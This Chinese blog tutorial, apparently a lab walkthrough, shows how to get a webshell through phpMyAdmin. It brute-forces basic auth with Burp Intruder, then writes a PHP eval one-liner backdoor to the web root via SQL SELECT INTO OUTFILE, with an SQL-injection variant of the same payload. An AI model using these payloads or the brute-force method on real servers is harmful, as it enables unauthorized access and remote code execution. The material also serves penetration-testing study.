天天看點

WEBSHELL姿勢之SQL一句話

之前的兩篇WEBSHELL姿勢談到了兩種拿SHELL的方法(上傳+解析漏洞、http-put/move方法),當然有時最簡單的時候就是上傳無限制,或者通過改filename字尾實作。這次我們要實驗的就是通過phpMyAdmin來實作。

一般來說要利用SQL來實作一句話,有如下幾種情況:

1.存在sql注入,在沒有字元處理時可直接寫入一句話(如Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/shell.php');

2.利用phpMyAdmin寫入一句話(前提登入phpMyAdmin)

3.其次利用注入登入應用系統,發現應用系統的其它漏洞,完成getshell。

0x00 實驗環境

1.一個安裝phpMyAdmin的windows環境

2.使用工具burpsuit(可使用其他相關工具替換)

0x01 發現phpMyAdmin

輸入ip,我們發現應用是一個背景登入系統,使用burpsuit代理并将目标網站發送至spider進行網頁爬取,在target中檢視網站目錄(适當調整fitler可顯示多個目錄)

WEBSHELL姿勢之SQL一句話

0x02 暴力破解

我們通路目标網站http://10.1.1.10/phpMyAdmin,發現它需要認證(basic認證)

WEBSHELL姿勢之SQL一句話

我們先嘗試一下密碼,并使用burpsuit檢視發送的包資訊

WEBSHELL姿勢之SQL一句話

其中,YWRtaW46MTIzNDU2就是我們輸入的使用者名和密碼BASE64格式,解碼後為:admin:123456

我們直接把資料包發送至intruder子產品就行暴力破解,配置如下:

1.僅設定YWRtaW46MTIzNDU2為payload maker

2.設定payload type為Custom iterator

3.通過load加載常用使用者名進position1清單,配置position separator為:(冒号)

4.切換到position2,通過load加載常用密碼進position2清單

5.在payload process中添加Encode-Base64 encode

6.start attack.

WEBSHELL姿勢之SQL一句話

通過status,我們定位到一個200 OK的包,解碼得到root:1234567890,登入

0x03 寫入一句話

在寫一句話之前,我們要先了解mysql寫檔案的基本語句:

select * from test into outfile '/xxx/xxx/test.txt'

寫檔案我們大緻了解了,但是我們還缺少應用的路徑,這裡我們通過暴露的phpinfo檔案得到了應用路徑C:/xampp/xampp/htdocs

WEBSHELL姿勢之SQL一句話

最後我們的一句話木馬sql如下:

Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,裡面就一個cmd字段
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['6um1n']);?>"); //把php一句話木馬插入到temp表
Select cmd from temp into out file 'C:/xampp/xampp/htdocs/shell.php'; //查詢temp表中的一句話并把結果導入到shell.php
Drop TABLE IF EXISTS temp; //删除temp

#以上也可簡化為:
#Select "<?php @eval($_POST['6um1n']);?>" into outfile 'C:/xampp/xampp/htdocs/shell.php'
           

執行sql

WEBSHELL姿勢之SQL一句話

0x04 菜刀

WEBSHELL姿勢之SQL一句話

webshell至此完結,之後還可以完成提權等測試,這裡就不再繼續了。

繼續閱讀